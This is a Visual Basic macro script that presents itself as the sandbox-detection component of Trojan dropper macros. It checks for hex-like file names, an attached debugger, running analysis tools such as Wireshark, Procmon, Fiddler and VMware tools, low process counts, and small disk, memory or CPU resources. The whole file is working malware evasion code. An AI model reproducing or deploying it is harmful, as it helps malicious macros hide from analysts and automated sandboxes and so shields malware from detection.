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Visual Basic script responsible for detecting Sandbox environments, as presented in modern Trojan Droppers implemented in Macros.
Private Declare PtrSafe Function isDbgPresent Lib "kernel32" Alias "IsDebuggerPresent" () As Boolean
Public Function IsFileNameNotAsHexes() As Boolean
Dim str As String
Dim hexes As Variant
Dim only_hexes As Boolean
only_hexes = True
hexes = Array("0", "1", "2", "3", "4", "5", "6", "7", _
"8", "9", "a", "b", "c", "d", "e", "f")
str = ActiveDocument.name
str = Mid(str, 1, InStrRev(str, ".") - 1)
For i = 1 To UBound(hexes, 1) - 1
Dim ch As String
ch = LCase(Mid(str, i, 1))
If Not (UBound(Filter(hexes, ch)) > -1) Then
' Character not in hexes array.
only_hexes = False
Exit For
End If
Next
only_hexes = (Not only_hexes)
IsFileNameNotAsHexes = only_hexes
End Function
Public Function IsProcessListReliable() As Boolean
Dim objWMIService, objProcess, colProcess
Dim strComputer, strList
Dim bannedProcesses As Variant
bannedProcesses = Array("fiddler", "vxstream", _
"tcpview", "vmware", "procexp", "vmtools", "autoit", _
"wireshark", "procmon", "idaq", "autoruns", "apatedns", _
"windbg")
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colProcess = objWMIService.ExecQuery _
("Select * from Win32_Process")
For Each objProcess In colProcess
For Each proc In bannedProcesses
If InStr(LCase(objProcess.name), LCase(proc)) <> 0 Then
' Found banned process.
IsProcessListReliable = False
Exit Function
End If
Next
Next
If isDbgPresent() Then
IsProcessListReliable = False
Exit Function
End If
IsProcessListReliable = (colProcess.Count() > 50)
End Function
Public Function IsHardwareReliable() As Boolean
Dim objWMIService, objItem, colItems, strComputer
Dim totalSize, totalMemory, cpusNum As Integer
totalSize = 0
totalMemory = 0
cpusNum = 0
Const wbemFlagReturnImmediately = &H10
Const wbemFlagForwardOnly = &H20
strComputer = "."
' Checking total HDD size
Set objWMIService = GetObject _
("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery _
("Select * from Win32_LogicalDisk")
For Each objItem In colItems
Dim num
num = Int(objItem.Size / 1073741824)
If num > 0 Then
totalSize = totalSize + num
End If
Next
If totalSize < 60 Then
' Total HDD size of the machine must be at least 60GB
IsHardwareReliable = False
Exit Function
End If
' Checking Memory
Set colComputer = objWMIService.ExecQuery _
("Select * from Win32_ComputerSystem")
For Each objComputer In colComputer
totalMemory = totalMemory + Int((objComputer.TotalPhysicalMemory) / 1048576) + 1
Next
If totalMemory < 1024 Then
' Total Memory is less than 1GB
IsHardwareReliable = False
Exit Function
End If
Set colItems2 = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL", _
wbemFlagReturnImmediately + wbemFlagForwardOnly)
For Each objItem In colItems2
cpusNum = cpusNum + objItem.NumberOfLogicalProcessors
Next
If cpusNum < 2 Then
' Nowadays everyone has at least 2 logical cores.
IsHardwareReliable = False
Exit Function
End If
IsHardwareReliable = True
End Function
Public Function IsRunningInSandbox() As Boolean
Dim test As Boolean
If IsFileNameNotAsHexes() <> True Then
IsRunningInSandbox = True
Exit Function
ElseIf IsProcessListReliable() <> True Then
IsRunningInSandbox = True
Exit Function
ElseIf IsHardwareReliable() <> True Then
IsRunningInSandbox = True
Exit Function
End If
IsRunningInSandbox = False
End Function
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